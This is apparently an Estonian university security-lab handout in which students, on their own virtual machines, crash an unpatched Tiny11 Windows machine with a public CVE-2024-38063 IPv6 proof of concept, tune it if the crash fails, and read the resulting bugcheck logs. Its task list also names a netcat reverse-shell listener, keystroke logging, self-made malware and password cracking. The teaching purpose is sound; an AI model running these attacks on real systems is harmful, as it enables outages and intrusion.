- 13-5: Esitage ekraanivaade
virustotal.comveebilehelBEHAVIORvahelehest, kus onNetwork Communication->IP Trafficjuures näha teie matriklinumbri kolmele viimasele numbrile vastav pordinumber. Seda analüüsibVirusTotal Jujuboxsandbox.
Kujutis 13. VirusTotal analüüs iseloodud pahavarale.
CVE-2024-38063
Nüüd viime läbi rünnaku 2024. aasta augustis avalikustatud Windows masinate turvanõrkuse vastu, mis töötab ainult IPv6 kasutades. Väärib mainimist, et antud rünnakule tuli turvauuendus juba 2024. aasta septembris, kuid kuna Tiny11 ei saa kõiki värskeid uuendusi ning on loodud enne selle nõrkuse parandamist, siis saame rünnakut sellel masinal veel läbi viia.
NB! Lülitage Tiny11 virtuaalmasin sama bridged adapter peale, mis teil Kali Linux masin on.
Siinkohal tulevad teie eelmises ülesandes kogutud andmed ohvri kohta kasuks. Teame ohvri masina operatsioonisüsteemi versiooni ning tema IP-aadressi ja MAC-aadressi (Armitage intense scani väljundist). Seega teame, et uuemad ründed näiteks 2024. aastast pole enam parandatud ohrvi masinal. Kogutud andmete põhjal saame rünnata ohvri masinat CVE-2024-38063 turvanõrkust ära kasutades.
NB! Antud rünnak toimib ainult IPv6 peal. Kontrollige, kas teie Kali Linux ning Tiny11 masinatel on parasjagu IPv6 aadress. Kui teil pole IPv6 aadressi, siis:
- Kontrollige VirtualBox seadetest, et teil oleks
Bridged adaptersisse lülitatud. - Kontrollige kas teie interneti teenusepakkuja väljastab IPv6 aadresse järgnevalt veebilehelt:
- https://test-ipv6.com/
- Pöörake tähelepanu DNS serveri väljale. Kui see pole rohelise linnukesega, siis proovige võimaluse korral teisi võrguühendusi nagu näiteks muu kaabelvõrk, WI-FI, telefoni hotspot.
- Kodus tegijatel soovitame rohelise linnukese puudumisel tulla praktikumi koha peale või proovida lahendada ülesannet näiteks Delta raamatukogus (Narva mnt 18) type-c võrgukaabliga ühendades.
- https://test-ipv6.com/
- Kui on roheline linnuke, siis tehke masinate võrguliidestele restart ning vaadake kas IPv6 aadress tekib.
- Linux puhul
sudo systemctl restart NetworkManager - Windows puhul
Settings->Network & Internet->Advanced network settings->Network Reset->Reset now
- Linux puhul
Ründaja
$ sudo apt install python3-scapy $ git clone https://github.com/ynwarcs/CVE-2024-38063.git
Seejärel liikuge äsja kloonitud kausta ning sealt edasi kausta script. Peaksite nägema seal faili cve-2024-38063.py. Avage fail nano abil ning uurige seda põgusalt. Kohe koodi algul on näha muutujad iface, ip_addr ja mac_addr, mis on defineerimata. Leidke ja lisage neile väärtused:
iface- ründava masina võrguliides (ingl network interface)- Kali masinast leitav käsuga
ifconfig. - Peaks olema
eth0.
- Kali masinast leitav käsuga
ip_addr- ohvri IPv6 aadress- Leidke Windows ohvri masinas oma IPv6 link-local aadress. Leiate selle ka varasemalt isetehtud pahavaraga ründe ekraanipildilt.
- NB! Aadressi kopeerides eemaldage vajadusel lõpust tsooni indeks, mis algab
%märgisega.
mac_addr- ohvri MAC-aadress- Windows masinas leitav
getmackäsuga. Peaks olema nähtav ka Armitage intense scan väljundist. - NB! asendage MAC-aadressil vajadusel sidekriipsud koolonitega (
08-00-27-93-83-38->08:00:27:93:83:38).
- Windows masinas leitav
Kui olete vastavad väärtused leidnud, siis salvestage muudatused ning avage Kali Linux masinas Wireshark:
$ wireshark
Püüdke pakette võrguliidesel eth0 ning pange filtriks:
ipv6.addr == <link-local ohvri IPv6> && ipv6
Nüüd saame näha, mis rünnaku käigus juhtub. Jätke Wireshark kõrval aknas nähtavaks ning kontrollige, et ohvri masin töötaks ja ei ole hangunud. Seejärel käivitage ründekood:
$ sudo python3 cve-2024-38063.py
Peaks algama minutiline taimer, mille käigus saadetakse suurtes kogustes IPv6 pakette. Sellega koormatakse ohvri masin üle ja see peaks kokku jooksma. Peaksite saama hetkelise Blue screen of death akna enne kui virtuaalmasin taaskäivitub. Ohvri masin võib ka jäädavalt hanguda.
- NB! Kui ka mõnda aega peale taimeri lõppemist pole ohver kokku jooksnud, siis suurendage
cve-2024-38063.pykoodisnum_triesjanum_batchesväärtuseid ning proovige uuesti.
Ohver
Kui ohvri masin jälle tööle läheb, siis minge uurige süsteemi logisid:
- Parem hiireklahv Windowsi Start menüüle
Event ViewerWindows LogsSystem
Uurige sealseid logisid ning leidke masina kokkujooksmise hetkel toimunud Error logi, mille Event ID on 1001.
Kujutis 14. Windows EventViewer bugcheck 0x000000d1 peale teenusetõkestust.
NB! Bugcheck kood ei pruugi olla alati 0x000000d1, kuid on enam-vähem samal kujul.
- 13-6: Esitage ekraanivaade Kali Linux ja Tiny11 masinatest, kus on esile toodud
BugCheckkood ningcve-2024-38063.pykäivitamise väljund.
NB! Kui olete kõik praktikumi ülesanded edukalt lahendanud, siis võite Tiny11 ning Windows_XP_SP3 virtuaalmasinad kustutada.
Praktikumi ülesanded
Praktikumi ülesannete lahendamine annab neli punkti ja esitamiseks on kaks nädalat alates praktikumi toimumisajast (Personaalne tähtaeg vahemikus 19-22. mai).
- 13-1: Mis on
Andmeturve Windows XPAdministratorkasutaja parool? (mitte esitada parooli räsi ja mitte esitadaLMpuhul osaliselt sobivat Partial match vastust) - 0.5p - 13-2: Esitage
Kali LinuxArmitagetarkvarast täisekraanivaade, kus on selgelt näha teieohver(punane),Log Keystrokesedukas rünne ja teieEesniminingPerenimi. - 1p - 13-3: Esitage ekraanipilt, kus on
KALIvirtuaalmasinas näharündekäsk(nc -vv -l -p 20XXX),whoami,ls(peab sisaldamaperenimi.ps1faili) ningipconfig. Kui kõik ühele pildile ei mahu esitage mitu pilti. - 0.5p - 13-4: Esitage
Kali Linuxmetasploittarkvara poolt avatudfirefoxveebilehitsejascreenshare, kus on nähaTiny11arvutis avatudCommand Promptisipconfigkäsu väljund ja sealNATIP aadress10.0.2.15. Samuti peab avatud olema teieperenimi.txtfail ja seal seesteie nimi. - 1p - 13-5: Esitage ekraanivaade
virustotal.comveebilehelBEHAVIORvahelehest, kus onNetwork Communication->IP Trafficjuures näha teie matriklinumbri kolmele viimasele numbrile vastav pordinumber. Seda analüüsibVirusTotal Jujuboxsandbox. - 0.5p - 13-6: Esitage ekraanivaade Kali Linux ja Tiny11 masinatest, kus on esile toodud
BugCheckkood ningcve-2024-38063.pykäivitamise väljund. -0.5p














